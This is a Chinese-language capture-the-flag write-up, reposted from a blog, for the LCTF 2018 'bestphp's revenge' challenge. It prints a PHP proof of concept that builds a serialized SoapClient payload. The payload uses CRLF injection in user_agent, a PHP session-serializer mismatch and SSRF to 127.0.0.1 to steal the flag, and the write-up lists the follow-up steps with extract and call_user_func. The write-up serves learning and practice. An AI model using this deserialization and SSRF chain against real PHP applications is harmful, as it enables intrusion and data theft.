您的位置:首页 > 娱乐 > 八卦 > LCTF 2018 bestphp‘s revenge

LCTF 2018 bestphp‘s revenge

2024/12/23 8:34:34 来源:https://blog.csdn.net/qq_39947980/article/details/139510005  浏览:    关键词:LCTF 2018 bestphp‘s revenge

考点:Soap原生类+Session反序列化+CRLF注入

<?php  
highlight_file(__FILE__);  
$b = 'implode';  
call_user_func($_GET['f'], $_POST);  
session_start();  
if (isset($_GET['name'])) {    $_SESSION['name'] = $_GET['name'];  
}  
var_dump($_SESSION);  
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');  
call_user_func($b, $a);  
?>

dirsearch扫描目录后发现存在 flag.php
image.png

only localhost can get flag!session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){$_SESSION['flag'] = $flag;}
only localhost can get flag!

$_SERVER["REMOTE_ADDR"] 不可能被伪造 考虑SSRF
通过本地访问后 flag存在session中 将session和cookie用CRLF拆分响应
可以结合首页 回显flag具体的值

var_dump($_SESSION); 

开启了session 考虑打Soapclient::_call打ssrf 就需要结合session反序列化
session反序列化本质是不同session解析器的不同差异 造成的"隐形"反序列化
PHP 7 中 session_start () 函数可以接收一个数组作为参数,可以覆盖 php.ini 中 session 的配置项 修改 serialize_handler的处理器
尝试临时修改 session_start()的处理器为 php_serialize
key|value 只有值value(poc)被序列化

<?php
# 利用CRLF注入将user_agent拆分请求 保证session的对应
$target = "http://127.0.0.1/flag.php";$soap = new SoapClient(null,array('location' => $target,'user_agent' => "ctf\r\nCookie: PHPSESSID=123456\r\n",'uri' => "J1rrY"));$payload = urlencode(serialize($soap));echo $payload;
O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A5%3A%22J1rrY%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A31%3A%22ctf%0D%0ACookie%3A+PHPSESSID%3D123456%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

image.png
Soap原生类被以 php_serialize 形式处理 写入 $_SESSION['name']
image.png
再次刷新 以 默认序列化形式反序列化 session_start()触发session反序化漏洞
image.png
可以明确看到 value 被还原为 SoapClient
现在想办法触发 SoapClient类 不存在的方法 从而触发 call() 实现请求
call_user_func 可以传入一个数组 array(类名,方法) 实现类的方法调用

a = array(reset($_SESSION), 'welcome_to_the_lctf2018');  
call_user_func($b, $a);  

可以用extract变量覆盖掉 $bcall_user_func 触发Soapclient方法
image.png
接着携带session对应的cookie 即可回显flag
image.png

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com